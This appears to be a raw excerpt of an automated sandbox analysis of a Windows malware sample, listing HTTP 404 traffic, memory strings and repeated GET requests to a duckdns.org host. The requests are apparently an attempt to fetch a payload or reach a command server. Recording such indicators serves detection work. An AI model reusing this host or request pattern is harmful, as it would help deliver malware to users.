Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:21 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:21 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:21 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:22 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:22 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:22 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:22 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:23 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:23 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:23 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:23 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:24 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:24 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:24 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:24 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:25 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:25 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:25 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:25 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:26 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:26 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:26 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:26 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:27 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:27 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:27 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:27 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:28 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:28 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:28 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:28 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:28 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:29 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:29 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:29 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:29 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 05 Aug 2022 10:12:30 GMTContent-Type: text/htmlContent-Length: 146Connection: close

Source: vOj00hEkoQ.exe	String found in binary or memory: http://www.emerge.de
Source: vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.465785488.0000000004983000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.409891925.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.448677572.0000000004F86000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.400527616.0000000004780000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.399459326.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.378316634.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.492078319.000000000583C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373258342.000000000540C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.511111350.0000000005838000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.496618464.0000000005828000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.447679692.0000000005554000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.492490085.0000000000729000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.562147869.00000000007E1000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.538463758.00000000007A1000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.560338618.00000000007E0000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.423477581.0000000005280000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.387394358.00000000047D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.emerge.deDVarFileInfo$
Source: vOj00hEkoQ.exe, vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.489464514.0000000005868000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.369993368.0000000005470000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.444314708.0000000005380000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.407097431.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.419436006.0000000005894000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.380813419.00000000047D4000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.388270798.0000000004688000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.456730184.0000000005481000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.461723377.0000000005498000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373822199.0000000005374000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.371871713.000000000547C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.361939985.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.536696915.0000000000810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pregrad.net
Source: vOj00hEkoQ.exe, 00000000.00000003.384404649.00000000047FB000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.489464514.0000000005868000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.369993368.0000000005470000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.418411643.000000000586E000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.444314708.0000000005380000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.392588116.0000000004686000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.468202246.0000000005379000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.446198402.0000000005459000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.407097431.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.419436006.0000000005894000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.380813419.00000000047D4000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.490854963.0000000005867000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.388270798.0000000004688000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.456730184.0000000005481000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.467333094.0000000005480000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.461723377.0000000005498000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.373822199.0000000005374000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.371871713.000000000547C000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.361939985.0000000004970000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.536696915.0000000000810000.00000004.00001000.00020000.00000000.sdmp, vOj00hEkoQ.exe, 00000000.00000003.521065189.0000000005840000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pregrad.netopenU
Source: vOj00hEkoQ.exe, 00000000.00000003.372603589.00000000006E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aubromaterkiddie.duckdns.org/
Source: vOj00hEkoQ.exe, 00000000.00000003.534041371.00000000006E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aubromaterkiddie.duckdns.org/S
Source: vOj00hEkoQ.exe, 00000000.00000003.454813082.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aubromaterkiddie.duckdns.org/typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsu

Source: unknown

DNS traffic detected: queries for: aubromaterkiddie.duckdns.org

Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
Source: global traffic	HTTP traffic detected: GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1User-Agent: lValiHost: aubromaterkiddie.duckdns.org
